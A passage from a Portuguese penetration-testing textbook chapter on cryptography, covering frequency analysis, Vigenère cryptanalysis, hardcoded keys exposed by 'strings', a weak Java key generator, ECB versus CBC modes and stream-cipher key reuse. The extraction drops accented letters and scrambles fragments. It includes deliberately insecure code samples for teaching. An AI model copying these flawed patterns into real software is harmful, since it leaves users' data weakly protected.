trata da vacina contra a malria e foi publicada na edio brasileira da revista Scientific American. Observando o histograma apresentado na Figura 9.17, fcil perceber como as frequncias das letras do texto so muito prximas s da lngua, principalmente, para os elementos mais comuns, com exceo da letra O. Neste exato momento, em algum lugar do mundo numa placa de Petri em Baltimore, talvez, ou nas glndulas salivares de um mosquito criado num laboratrio de Seattle, ou ainda na corrente sangunea de um aldeo em Gana , est presente um composto qumico que poder ajudar a erradicar a doena mais letal da histria da humanidade. Os cientistas esto desenvolvendo muitas vacinas experimentais promissoras contra a malria, e, pela
429
Figura 9.16 Comparao das frequncias das letras em ingls e em um trecho de artigo.
Texto em portugus #1 O seguinte trecho em portugus, de Mary Carmichael (2010), faz parte de uma matria que
primeira vez, uma delas atingiu a fase de testes avanados em humanos. Se esta ou outra vacina potencial mostrar-se eficaz em humanos, mesmo que parcialmente, milhes de crianas e mulheres grvidas podero ser salvas. Essa vacina seria a nica j desenvolvida contra um parasita humano, um feito digno de Nobel. E poderia, na forma de sua primeira gerao, ser distribuda na frica j em 2015 (Carmichael, 2010).
Texto em portugus #2 O texto a seguir, extrado da revista National Geographic, fala da expanso imobiliria que vem ocorrendo na cidade de guas Claras, DF, para comportar a legio de pessoas que esto se mudando para a capital, em busca de novos desafios de trabalho. Por meio de uma rpida comparao dos histogramas da Figura 9.18, percebe-se que, alm das distribuies semelhantes, as trs letras mais frequentes da lngua portuguesa ocupam os mesmos postos no exemplo fornecido. Futurismo a palavra da moda em guas Claras. Todo mundo usa, mas isso no quer dizer que seu significado seja claro. Um dia depois da minha chegada, um corretor de imveis vem conversar: O senhor precisa conhecer o nosso projeto. o que h de mais atual em termos de futurismo, diz (mesmo sem entender nada, aceito um carto para visitar o estande de vendas do edifcio). Mais do que antever o amanh, ou o dia incerto no qual a cidade que emerge com velocidade estonteante estar definitivamente construda no Distrito Federal, o futurismo um modo de explicar uma arquitetura que, acreditam os moradores, servir para diferenciar seu novo hbitat. Ou seja, um estilo. Ou uma maneira curiosa de tentar buscar identidade esttica em uma cidade de feies nicas no Brasil absolutamente vertical, na qual centenas de espiges residenciais, finalizados ou em obras, se projetam rumo aos cus do Planalto Central, anunciando um novo tempo nas adjacncias da capital da Repblica (Ribeiro, 2011).
Figura 9.17 Comparao das frequncias das letras em portugus e em um trecho de artigo.
Figura 9.18 Comparao das frequncias das letras em portugus e em um trecho de artigo.
430
O mtodo conhecido por anlise de frequncias, introduzido no sculo IX pelo polmata rabe Ab Ysf Yaqb ibn Is-hq ibn as-Sabbh ibn omrn ibn Ismal al-Kind, emprega os conceitos recm apresentados, para quebrar cifras de substituio simples. O primeiro passo consiste em descobrir o idioma da mensagem original, o que fundamental para saber quais so as frequncias esperadas de cada letra do alfabeto. Em seguida, deve-se realizar a contagem de cada smbolo presente no texto cifrado sendo analisado. Como cifras monoalfabticas apenas alteram a face de cada smbolo, mantendo a distribuio geral de frequncias, razovel assumir que cada elemento do texto cifrado corresponde a uma letra similarmente frequente do alfabeto original.
Por exemplo, em um texto em ingls, se Z a letra cifrada com maior nmero de ocorrncias, h uma grande probabilidade de que seja o mapeamento da letra e. Para facilitar a compreenso da tcnica de al-Kind, o texto cifrado apresentado na Figura 9.19 ser minuciosamente criptoanalisado. Considere-se que a mensagem original foi redigida na lngua inglesa e que uma cifra de substituio simples foi empregada para proteg-la. Um forte indicativo de que a ltima premissa est correta o ndice de coincidncia igual a 0,0723, que revela uma alta redundncia no texto cifrado. Por outro lado, se ele fosse a nica ferramenta utilizada para identificar a lngua original, a principal candidata teria sido o espanhol, em vez do ingls. Isso ocorre porque o IC um indicador estatstico, com valores muito prximos para os diversos idiomas, o que faz com que no seja uma tcnica precisa para alcanar esse propsito. DSFY CQLGRBGJOFUT XJTG SJY IQBG YQXSFYDFCJDGL GAGIGUDY JD DSG RQDDQI QP DSG XJTG PQB GZJIXAG MQW CJU JAYQ GZJIFUG DSG PBGHWGUCM QP XJFBGL
Figura 9.19 Texto cifrado com cifra monoalfabtica.
AGDDGBY JUL CQIXJBG DSGI DQ DSG PBGHWGUCM QP XJFBGL AGDDGBY FU GUTAFYS QB MQW CJU AQQO JD BGXGJDGL AGDDGBY QB DSG EQVGA DBQVGA A primeira tarefa que deve ser realizada calcular as frequncias individuais de cada smbolo no texto cifrado e compar-las com a estrutura da lngua inglesa. O resultado, apresentado na Figura 9.20, mostra que as trs letras mais comuns no texto so G, D e
Figura 9.20 Frequncias individuais das letras do texto cifrado comparadas com as da lngua inglesa.
Q, em ordem decrescente de percentual de ocorrncias. Estatisticamente, a partir da ltima linha do grfico, conclui-se que elas so os mapeamentos de e, t e a, respectivamente. Desse modo, deve-se proceder substituio de G por e, D por t e Q por a, conforme ilustrado na Figura 9.21, a qual est dividida em tabela de mapeamento de deciframento, texto em claro parcial e texto cifrado.
431
Observem-se as partes marcadas em vermelho na figura acima. Tudo indica que t*e corresponde palavra the e, portanto, todas as ocorrncias de S, no texto cifrado, devem ser substitudas pela letra h (vide Figura 9.22). Um problema destacado por esta ilustrao a palavra ta, circundada no quadro, a qual no usual na lngua inglesa. Como a letra t parece ter sido corretamente mapeada, uma vez que ela faz parte do texto legvel recuperado, a troca de Q por a foi aparentemente equivocada. Assim, essa substituio deve ser cancelada, obtendo-se o exposto na Figura 9.23.
432
Considerando-se que o mapeamento de Q por a no foi acertado, deve-se escolher outra letra candidata. A partir de t*, fcil inferir que o melhor substituto para Q a letra o. Uma evidncia adicional para confirmar esta hiptese que a letra com frequncia mais prxima de Q, que no o a, justamente a letra o (vide Figura 9.20). Efetuando-se esta troca, alcana-se a situao exibida na Figura 9.24. Dando continuidade atividade, a sequncia o*, marcada em vermelho na figura nos d as opes of, on e or como possveis textos originais. Para decidir qual a melhor delas, deve-se comparar a frequncia de P, no texto cifrado, com as de f, n e r, no padro da lngua inglesa, e determinar qual a mais prxima. No presente exemplo, feita esta anlise, conclui-se que f a contraparte legvel de P. Considerando-se que esta hiptese esteja correta, a sequncia PQB vira fo*, a qual, facilmente, pode ser traduzida para for. Esta nova relao reforada pela presena de QB no texto cifrado, cujo deciframento resulta na palavra vlida or. A Figura 9.25 reflete as alteraes decorrentes dessas ltimas substituies.
Vamos agora focar a ateno na sequncia *t, que pode ser substituda por it e at. Para definir a palavra mais provvel, repetimos o procedimento de anlise das frequncias e encontramos que J, com 8%, est mais prximo de a, com 8,2%, do que de i, com 7,0%. Aps a troca dos Js por as, atinge-se a situao ilustrada na Figura 9.26, na qual esto ressaltadas as palavras parciais a** e *a*, que correspondem, respectivamente, a JUL e CJU. Para a primeira, possvel pensar em and e are, mas esta descartada porque r e e so letras do alfabeto original j mapeadas. Supondo que as trocas de U por n e de L por d estejam corretas, CJU torna-se *an, que pode ser man ou can. Novamente, pela tabela de ocorrncias, opta-se pelo mapeamento de C para c.
433
Na Figura 9.27, possvel realizar as substituies X g p, Y g s e I g m, resultando nas palavras repeated, has, more, compare e them. Em seguida (Figura 9.28), as palavras this, page, sophisticated, elements, also, paired, in, letters e english podem ser identificadas, como consequncia dos mapeamentos F g i, T g g e A g l. Note-se que neste estgio (Figura 9.29) o texto em claro quase que completamente inteligvel, e palavras adicionais podem ser enumeradas, como bottom, example, you, examine e frequency. Para isso, as substituies R g b, Z g x, H g q, W g u e M g y devem ser efetuadas. Finalmente, a partir da Figura 9.30, basta trocar O por k, E por v e V por W, para completarmos o texto legvel, representado integralmente na Figura 9.31.
434
Figura 9.31 Anlise de frequncias (11/11) - texto original recuperado (Simon Singh).
Cifra de Vigenre
A cifra de Vigenre um algoritmo de substituio polialfabtico que utiliza, ciclicamente, t mapeamentos da cifra de deslocamento, especificados por uma chave K = k1k2 ... k t. Pode-se imaginar que o ciframento opera sobre grupos de t letras, de modo que cada posio da chave descreve a transformao que deve ocorrer na posio correspondente de cada grupo.
Em outras palavras, k1 afeta o primeiro elemento de todos os grupos, k2, o segundo, e assim por diante. Graas a isso, um smbolo que se repete no texto em claro pode ser mapeado para smbolos diferentes no texto cifrado, se cada instncia for protegida por um ki distinto. Como na poca em que era utilizado, o algoritmo era executado manualmente, as pessoas se apoiavam na Tabela de Vigenre, representada na Figura 9.32, para auxiliar nos processos
435
de ciframento e de deciframento. Por exemplo, para cifrar a letra g com a subchave U, basta selecionar o caractere presente na interseco da linha iniciada com U com a coluna g, ou seja, a letra A. Analogamente, para decifrar V com a subchave H, deve-se percorrer a linha H at encontrar a letra V e selecionar o smbolo que est na primeira linha da mesma coluna, isto , o caractere o.
Para um exemplo completo, considere-se o ciframento do texto outro porto longe daqui com a chave PENTEST, de sete caracteres de comprimento. A primeira letra da mensagem mapeada de acordo com a linha da tabela de Vigenre que inicia com a letra P. Esta mesma transformao aplicada a todo caractere que esteja a uma distncia mltipla do tamanho da chave (no caso, sete) do primeiro elemento. Isto equivalente a dividir o texto legvel em blocos de tamanho sete e aplicar o mapeamento descrito pela primeira letra da chave primeira posio de cada bloco. O processo de ciframento com as demais letras da chave realizado de maneira similar, resultando no texto cifrado exibido na Figura 9.33. H dois aspectos muito importantes que devem ser observados nesse exemplo, que auxiTeste de Invaso de Aplicaes Web
liaro na criptoanlise de mensagens protegidas com o algoritmo. O primeiro deles que os smbolos do texto cifrado, que ocupam a mesma posio nos diversos blocos, constituem a sada de uma cifra monoalfabtica, uma vez que foram todos cifrados com chave idntica. Consequentemente, esto sujeitos criptoanlise por meio de anlise de frequncias, ou por busca exaustiva de chaves, por se tratar de uma cifra de deslocamento. O texto cifrado e, por isso, o ndice de coincidncia tende a se aproximar de IC A . segundo ponto relevante que a frequncia das letras no texto em claro diluda no
436
Note-se, por exemplo, que na Figura 9.33, a letra o mapeada para D, S, H e B. Como a chave escolhida utiliza cinco letras distintas, qualquer letra do texto em claro pode ser cifrada, no mximo, de cinco maneiras diferentes. Chave Texto em claro Texto cifrado P o D E u Y N t G T r K E o S S p H T o H P r G E t X N o B T l E E o S S n F T g Z P e T E d H N a N T q J E u Y
q
S i A
O mtodo utilizado para quebrar a cifra de Vigenre, que ser descrito a seguir, foi introduzido por Charles Babbage, gnio ingls que nasceu no final do sculo XVIII e considerado o pai do primeiro computador da histria (Singh, 1999). Parte da tcnica, tambm atribuda a Kasiski, est contida na explicao do pargrafo anterior e consiste em se analisar separadamente cada uma das cifras de deslocamento utilizadas, com um dos mtodos j conhecidos.
Para que isso possa ser realizado, porm, falta saber o tamanho da chave empregada, sem o qual, no possvel delimitar os grupos de letras que foram cifrados com a mesma subchave. Imagine-se que um texto de tamanho razovel, contendo vrias ocorrncias da palavra ano, seja cifrado com a chave CASA. Caso instncias diferentes de ano sejam cifradas com a mesma parte da chave, os resultados sero idnticos. Note-se que o nmero de maneiras diferentes pelo qual uma palavra pode ser cifrada por Vigenre exatamente o tamanho da chave, que neste caso quatro. Por consequncia, se houver mais de cinco ocorrncias de ano, certamente, haver repetio de um dos possveis textos cifrados para essa palavra (CNG, AFO, SNQ e APO). Desconsiderando o fator coincidncia, a distncia entre sequncias idnticas de smbolos cifrados , necessariamente, mltipla do tamanho da chave, conforme ilustrado na Figura 9.34. Para calcular os comprimentos candidatos, a partir da distncia, preciso fatorar o valor em nmeros primos e combin-los de todos os jeitos possveis. No exemplo abaixo, o nmero de posies entre as repeties 24, que igual a 2 3 x 3, na forma fatorada. Agrupando os primos encontrados, obtm-se os valores: 2, 3, 2 2 = 4, 2 x 3 = 6, 2 3 = 8, 22 x 3 = 12 e 2 3 x 3 = 24.
Figura 9.34 Tamanhos de chave possveis calculados pela distncia entre as ocorrncias de APO.
A estratgia, ento, seguir esse mesmo processo, para todas as repeties encontradas no texto cifrado, e verificar o tamanho mais comum. Conseguida essa informao, basta executar a anlise de frequncias sobre a sequncia de
Captulo 9 - Mecanismos criptogrficos
A melhor maneira de compreender a tcnica de Babbage realizar um exerccio de quebra de um texto protegido pelo algoritmo de Vigenre. A partir do texto cifrado exibido na
437
Figura 9.35, cujo original est em ingls, o primeiro passo determinar o tipo de cifra que foi utilizada na proteo da mensagem. Calculando-se o ndice de coincidncia, obtm-se o valor 0,0397, o qual, por ser muito prximo de IC A (conforme esperado), indica que uma cifra polialfabtica foi empregada. Supondo que esta seja a cifra de Vigenre, o prximo passo determinar o tamanho da chave escolhida. Para isso, precisamos encontrar todas as repeties de sequncias de letras, calcular a distncia entre as ocorrncias, e determinar os comprimentos de chave possveis, a partir da fatorao do valor encontrado. O resultado desta etapa est ilustrado na Figura 206. BHGVSZGJQPHAOMTSHGNZZNFBCJVQZAZTVQYLTJMQNNKASNNIBZZCJMDYOCEZSDGZQZLNQQJSKHPUIEBFWEQNLGEIOLWMCVEMEDMRLATPTRSGTQBAUAEFNFQYLOPICFIUMOULCBQTROQYFCQZYJRQNEMEUBFIIQPPBAUIHNZGVPIONLXFNYQEMAHINJLKSPBRKVVQEFXLWCJUPSTCVOFMQAEUIVMZZSGFAWEUATTNQDPWHKADMOWTOJRUELXFNCYLAEWLWSGJCTWPKWTAMIWQTGICXAPLEFTVMCXHKAEMIESMTOVAHJRGXLYCJMOFNFKZGBNMOFNFETYHQVPMAPLSJLGIYYOPICTUIPDYIESHMINMHNTJBSJOVPPWHGPPQDQCEMIUJLYTGZPIHCBQTRCTXX
Figura 9.36 Sequncias de caracteres repetidas encontradas no texto cifrado e possveis tamanhos de chave. Figura 9.35 Texto cifrado com o algoritmo de Vigenre.
438
fcil observar, na tabela de repeties, que o tamanho mais provvel de chave cinco, pois a coluna que possui quase todas as linhas marcadas. Somente as ocorrncias de LXF, XFN e LXFN, pertencentes mesma sequncia, no esto separadas por uma distncia mltipla de cinco, indicando uma provvel coincidncia, que no invalida a hiptese original. A partir do tamanho encontrado, necessrio trabalhar sobre cinco cifras de deslocamento distintas, cujos agrupamentos de letras so definidos pelas posies em cada bloco de cinco elementos. Desse modo, todos os smbolos que ocupam a primeira posio formam um grupo; todos na segunda, outro, e assim por diante, at os elementos da quinta posio. A Figura 9.37 mostra o grupo formado pelos elementos que esto na primeira posio de cada bloco. Ao realizar a anlise de frequncias sobre essas letras e compar-las com a frequncia da lngua inglesa, obtm-se os histogramas apresentados na Figura 9.38(a). Lembre-se de que a cifra de deslocamento, simplesmente, rotaciona o alfabeto em k posies. Com isso, a transformao que causa no texto faz com que as frequncias individuais das letras sejam transferidas para outras, como esperado, mas respeitando-se a ordem que ocupam no alfabeto. Graficamente, isto implica que o histograma do texto em claro rotacionado o mesmo nmero de posies que o alfabeto. Considerando que, estatisticamente, a distribuio das letras originais deve ser semelhante do idioma, basta alinhar os histogramas para revelar o mapeamento utilizado. Uma dica para a lngua inglesa basear a tarefa nos picos das letras A e E, que costumam se destacar das demais. A Figura 9.38(b) ilustra o alinhamento realizado para o exemplo em estudo, o qual, aplicado Figura 9.37, resulta no texto decifrado da Figura 9.39. A aplicao desses passos para a segunda posio apresentada na Figura 9.40 at a Figura 9.42. Note-se que os histogramas j esto alinhados e, portanto, nada precisa ser feito. Para a terceira posio, analisada na Figura 9.43 at a Figura 9.45, a letra de maior frequncia no texto cifrado a G, o que a faz a principal candidata para a letra e. Ocupando este mesmo papel, no grupo de smbolos da quarta posio, est a letra M, conforme ilustrado na Figura 9.47(a). Ajustando os histogramas e realizando as devidas substituies, obtm-se o texto da Figura 9.48, no qual j possvel identificar algumas palavras, como when e came. A etapa final, referente ao ltimo mapeamento, baseia-se nos picos das letras L e P e exibida na Figura 9.49 Figura 9.51. Do processo inteiro, conclui-se que a chave empregada para a proteo do texto FACIL.
Figura 9.37 Grupo formado pelos caracteres que ocupam a primeira posio de cada bloco.
Captulo 9 - Mecanismos criptogrficos
439
(a)
(b)
Figura 9.38 Anlise de frequncias do grupo formado pelos elementos que ocupam a primeira posio nos blocos: (a) Histogramas originais. (b) Histograma da primeira posio alinhado ao do idioma.
Figura 9.39 Substituio dos smbolos da primeira posio, segundo mapeamento ilustrado na Figura 9.38(b).
Figura 9.40 Grupo formado pelos caracteres que ocupam a segunda posio de cada bloco. Figura 9.41 Anlise de frequncias do grupo formado pelos elementos que ocupam a segunda posio nos blocos: (a) Histogramas originais. (b) Histograma da segunda posio alinhado ao do idioma.
Teste de Invaso de Aplicaes Web
(a)
(b)
Figura 9.42 Substituio dos smbolos da segunda posio, segundo mapeamento ilustrado na Figura 9.41(b).
440
Figura 9.43 Grupo formado pelos caracteres que ocupam a terceira posio de cada bloco.
Figura 9.44 Anlise de frequncias do grupo formado pelos elementos que ocupam a terceira posio nos blocos: (a) Histogramas originais. (b) Histograma da terceira posio alinhado ao do idioma.
(a)
(b)
Figura 9.45 Substituio dos smbolos da terceira posio, segundo mapeamento ilustrado na Figura 9.44(b).
Figura 9.46 Grupo formado pelos caracteres que ocupam a quarta posio de cada bloco. Figura 9.47 Anlise de frequncias do grupo formado pelos elementos que ocupam a quarta posio nos blocos: (a) Histogramas originais. (b) Histograma da quarta posio alinhado ao do idioma.
(a)
(b)
441
Figura 9.48 Substituio dos smbolos da quarta posio, segundo mapeamento ilustrado na Figura 9.47(b).
Figura 9.49 Grupo formado pelos caracteres que ocupam a quinta posio de cada bloco. Figura 9.50 Anlise de frequncias do grupo formado pelos elementos que ocupam a quinta posio nos blocos: (a) Histogramas originais. (b) Histograma da quinta posio alinhado ao do idioma.
(a)
(b)
Figura 9.51 Substituio dos smbolos da quinta posio, segundo mapeamento ilustrado na Figura 9.50(b), e incluso de espaos para separao de palavras. O texto recuperado um trecho da estria The Model Millionaire de Oscar Wilde.
textual, deve-se tentar criptoanalis-la, sob a premissa de ter sido protegida por uma cifra clssica. O seguinte roteiro pode servir de base para a tarefa:
1. Calcule o ndice de coincidncia do texto cifrado. 2. Se o ndice for prximo aos de um idioma, h muita redundncia no texto, o que um
442
#include <stdio.h> int main() { char key[] = 0a3bc178940fd43047027cda807409af; ... printf(Cifrando dados. Aguarde...\n); ... }
Considere-se que o programa compilado, gerando o binrio cifra, e, por esta razo, o desenvolvedor, inocentemente, julga que a chave est protegida de acessos ilegtimos. O usurio mal intencionado, ao obter o programa, executa imediatamente o comando strings do Linux sobre o binrio, gerando a sada:
/lib/ld-linux.so.2 #IB _ _gmon_start_ _ libc.so.6 _IO_stdin_used puts _ _libc_start_main GLIBC_2.0 PTRh 0a3b c178 940f d430 4702
Captulo 9 - Mecanismos criptogrficos
443
Em outras palavras, a utilizao de uma chave de n bits, criada dessa maneira, implica que, por adivinhao, a chance de um palpite qualquer ser correto de 1/2n. Considerando chaves de 128 bits, tamanho comum utilizado atualmente, mais fcil uma pessoa acertar diversas vezes na loteria do que recuperar a chave certa por meio de escolhas aleatrias. Na prtica, porm, nem sempre mtodos eficazes so utilizados na gerao de chaves, o que resulta em valores com baixa entropia. Exemplos de problemas encontrados com frequncia neste contexto esto enumerados a seguir:
1 Utilizao de geradores de nmeros pseudo-aleatrios fracos, como os implementados pela classe Random, em Java, e pela funo rand(), em C.
1 Escolha de valores a partir de um pequeno subconjunto do domnio de chaves. 1 Uso de sementes previsveis em geradores de nmeros pseudo-aleatrios. 1 Inicializao de geradores de nmeros pseudo-aleatrios com sementes de poucos
bits, o que permite um ataque de busca exaustiva para descoberta do valor correto.
Considere-se que em um teste de invaso, o seguinte cdigo Java tenha sido obtido, em um dos diretrios do servidor. Ao que tudo indica, ele utilizado na gerao de chaves criptogrficas de comprimento arbitrrio. Com base no exposto, que problemas ele possui?
01 import java.util.Random; 02 03 public class GeraChave { 04 private static Random random = new Random();
444
05 06 07 08 09 10 11 12 13 14 15 16 17 }
Logo na primeira linha, percebe-se que o programa utiliza a classe Random, a qual, se sabe, no implementa um gerador criptogrfico de nmeros pseudo-aleatrios. O uso dela pode ser observado nas linhas 04 e 13, responsveis, respectivamente, pela criao de um objeto Random e pela atribuio de um valor inteiro entre 0 e 9 i-sima posio do vetor chave. Este passo apresenta um problema adicional, relacionado cardinalidade do conjunto a partir do qual a chave selecionada. Uma chave de 128 bits, por exemplo, corresponde a 16 bytes e, pelo programa, cada posio recebe um valor dentre 10 possveis. Desse modo, o total de chaves diferentes que podem ser geradas
NIST National Institute of Standards and Technology uma agncia do Departamento de Comrcio dos Estados Unidos, fundada em 1901, com o objetivo de promover a inovao e competitividade industrial, por meio da definio de padres tecnolgicos para as mais diversas reas.
public static byte[] geraChave(int numBits) { int numBytes = numBits / 8; byte chave[] = new byte[numBytes];
// Atribui a cada byte da chave um valor // inteiro j, tal que 0 <= j <= 9 for (int i = 0; i < numBytes; i++) { chave[i] = (byte)random.nextInt(10); } return chave; }
de 1016 = 10.000.000.000.000.000. Este nmero apenas uma nfima parcela do espao fornecido por 128 bits, cujo total de elementos 2128 = 340.282.366.920.938.463.463.374. 607.431.768.211.456. Consequentemente, um ataque de busca exaustiva de chaves neste cenrio possui um custo muito menor que o terico.
q
Captulo 9 - Mecanismos criptogrficos
mento da mensagem inteira. Existem diversos modos, como os especificados no documento NIST SP800-38A (Dworking, 2001), e todos eles apresentam especificidades, que devem ser consideradas em uma soluo para evitar a introduo de vulnerabilidades no sistema. Neste texto, focaremos apenas os modos ECB e CBC, comparando as respectivas propriedades e como devem ser adequadamente utilizados. O modo Electronic Code Book (ECB) o mais simples existente e consiste em cifrar cada bloco de texto em claro individualmente com a mesma chave.
445
A Figura 9.52 ilustra o processo de ciframento, em modo ECB, de uma mensagem m contendo t blocos de n bits. O processo de deciframento, que similar, est representado na Figura 9.53. Nas ilustraes, E, E -1, K e c denotam, respectivamente, a funo de ciframento, a funo de deciframento, a chave empregada e a mensagem cifrada. Este modo possui as seguintes propriedades (Menezes et al., 2001):
1 Blocos em claro idnticos geram o mesmo bloco cifrado, quando a mesma chave
utilizada.
1 No h encadeamento entre os blocos, que so cifrados individualmente. 1 O erro em um bloco no afeta o deciframento dos demais.
A primeira propriedade implica que o modo ECB no deve ser utilizado quando a mensagem a ser protegida maior que o tamanho do bloco da cifra empregada. Quando isto violado, o texto cifrado revela informaes sobre a mensagem original, as quais podem ser suficientes para o objetivo do atacante ou auxiliar no processo de criptoanlise.
Por exemplo, considere-se a Figura 9.54 a imagem esquerda o contedo de um arquivo em formato BMP, cujo ciframento, em modo ECB, resulta na figura da direita. Note-se que,
Teste de Invaso de Aplicaes Web
embora as cores no sejam nada parecidas, a informao carregada pela imagem original est presente na segunda. Se esta fosse uma foto pornogrfica apreendida em um computador corporativo, saber o real contedo dela, mesmo com cores distorcidas, seria suficiente para aplicar uma punio ao colaborador.
446
Pode-se dizer que uma cifra operando em modo ECB uma cifra de substituio simples, mas baseada em um alfabeto muito maior que o romano. Dessa maneira, o texto cifrado mantm a redundncia da mensagem original, o que pode ser facilmente verificado por um teste que verifica o quanto a informao pode ser compactada. Nveis de compactao maiores implicam que h muita repetio de valores na mensagem de entrada, o que um bom indicativo de que um modo de operao inadequado foi utilizado. A razo para isso que um texto cifrado devidamente gerado deve ser indistinguvel de uma sequncia aleatria de valores. No exemplo acima, foi possvel compactar a figura cifrada a 3,7% do tamanho original. O modo Cipher Block Chaining (CBC) pode ser empregado para suprir a deficincia do modo ECB na proteo de mensagens longas. A ideia desse modo combinar, por meio do operador XOR, o ltimo bloco cifrado com o bloco de texto em claro atual, antes de aplicar a funo de ciframento. Isto tem por objetivo alterar blocos em claro idnticos, de modo que entradas diferentes sejam fornecidas para a cifra utilizada. O funcionamento do CBC est ilustrado na Figura 9.55 e Figura 9.56. Perceba-se que, para cifrar m1, no h um bloco cifrado anterior e, assim, um valor inicial, chamado de IV, deve ser fornecido. Embora no seja necessrio manter o sigilo do IV, a integridade dele fundamental para decifrar corretamente o primeiro bloco. Segundo Menezes et al. (2001), o modo CBC apresenta as seguintes propriedades:
1 Cada bloco cifrado cj depende de mj e de todos os blocos anteriores (m1 a mj-1), que so
consolidados em cj-1. Por este motivo, uma alterao na ordem dos blocos cifrados
Captulo 9 - Mecanismos criptogrficos
1 Um erro em um bloco cj afeta apenas o deciframento dele mesmo e do bloco seguinte. 1 O modo CBC se recupera automaticamente de erros em um bloco cifrado cj , a partir
do bloco cj+2.
447
CBC, para ilustrar como ele dilui eventuais padres encontrados no texto em claro. Note-se que no h nenhuma relao visvel entre a imagem original e a cifrada, que mais parece um canal de TV no sintonizado. Por meio desse exemplo, fica claro que mensagens maiores que o tamanho do bloco utilizado pelo criptossistema devem ser cifradas com o modo CBC, em vez do ECB.
448
Nesta seo, sero examinados os casos de repetio de chaves em cifras de fluxo e uso de primitiva criptogrfica incorreta para satisfazer a um requisito de segurana da informao.
Cifras de fluxo
Cifras de fluxo aditivas e binrias so cifras sncronas, isto , geram o fluxo de chaves independentemente dos textos em claro e cifrado. Alm disso, conforme ilustrado na Figura 9.58, elas operam diretamente com bits e utilizam o operador XOR, para combinar a entrada com o fluxo de chaves. Como ele gerado em funo apenas da chave inicial, quando esta repetida, o mesmo fluxo obtido. Isto necessrio para o processo de deciframento, mas conduz a uma vulnerabilidade quando textos diferentes so cifrados com a mesma chave.
(a) Ciframento K (b) Deciframento K
zi m i
1 Elemento inverso: a a = 0.
Com esses conceitos em mente, observe-se, agora, como o uso de uma mesma chave, em cifras de fluxo aditivas e binrias, pode comprometer a segurana das informaes:
1 Diversas mensagens m1 , m2 , ..., mn , de mesmo tamanho, so cifradas, individualmente, com 1 Do ciframento da mensagem mi, resulta ci = mi z.
uma mesma chave K, o que implica que o fluxo de chaves z o mesmo para todas elas.
449
1 Associatividade: (a b) c = a (b c).
1 c1 c2 = (m1 z) (m2 z) = m1 m2 z z = m1 m2 0 = m1 m2
A partir disso, possvel realizar uma anlise estatstica, com base na redundncia do idioma, para recuperar as mensagens originais.
1 Um ataque mais poderoso possvel quando se conhece o texto em claro mi correspondente a um texto cifrado ci , pois isto permite a recuperao do fluxo de chaves z,
1 ci mi = (mi z) mi = mi mi z = 0 z = z
uma aplicao de comrcio eletrnico:
1.
o qual basta para decifrar todas as mensagens protegidas com a mesma chave K:
Um usurio malicioso descobre que possvel realizar a cpia integral da base de dados do sistema, por meio de uma vulnerabilidade em um dos campos da interface.
2. Em uma das tabelas, ele identifica nmeros de carto de crdito protegidos por uma cifra
fluxo de chaves obtido no passo anterior com cada texto cifrado da base de dados.
empregados dele, Thomas Phelippes, era um dos melhores criptoanalistas da Europa e decifrava cada mensagem recebida de seu chefe, relativa conspirao supracitada. Uma delas, enviada por Babbington, propunha levar adiante o plano de assassinato da rainha, para libertar Mary e torn-la a nova monarca da Inglaterra. Ao saber disso, Walsingham esperou uma resposta de Mary, para poder incrimin-la, e adicionou ao final da carta um texto forjado, solicitando os nomes das seis pessoas que executariam o plano. Sem a
Teste de Invaso de Aplicaes Web
menor ideia de que o texto no era autntico, Babbington forneceu os nomes das pessoas em nova carta cifrada, a qual permitiu captur-los e conden-los morte. O grande erro, do ponto de vista de criptografia, foi a ignorncia de que cifras no satisfazem o requisito de autenticidade da origem da mensagem! Outro exemplo de uso incorreto de primitiva criptogrfica dado por Menezes et al. (2001). Imagine-se que Alice e Beto trocam mensagens, usando um formato particular, no qual os primeiros bits representam uma quantia de dinheiro. Para evitar que um usurio malicioso obtenha ou altere a mensagem original, eles empregam uma cifra de fluxo, com chaves descartveis. Um atacante que consiga alterar as informaes em trnsito pode, simplesmente, mudar os primeiros bits de cada mensagem, adulterando o valor monetrio informado.
450
Embora isto no permita saber o valor original, possibilita quebrar o requisito de integridade que se esperava satisfazer com a soluo. Novamente, o problema resulta de uma premissa incorreta quanto ao uso de uma cifra.
451
80
2-TDES
1 Data Encryption Standard (DES). 1 RSA com chaves menores que 1024 bits. 1 MD5. 1 SHA-1.
prximos anos, mdulos de 1024 bits, que oferecem apenas 80 bits de segurana, poss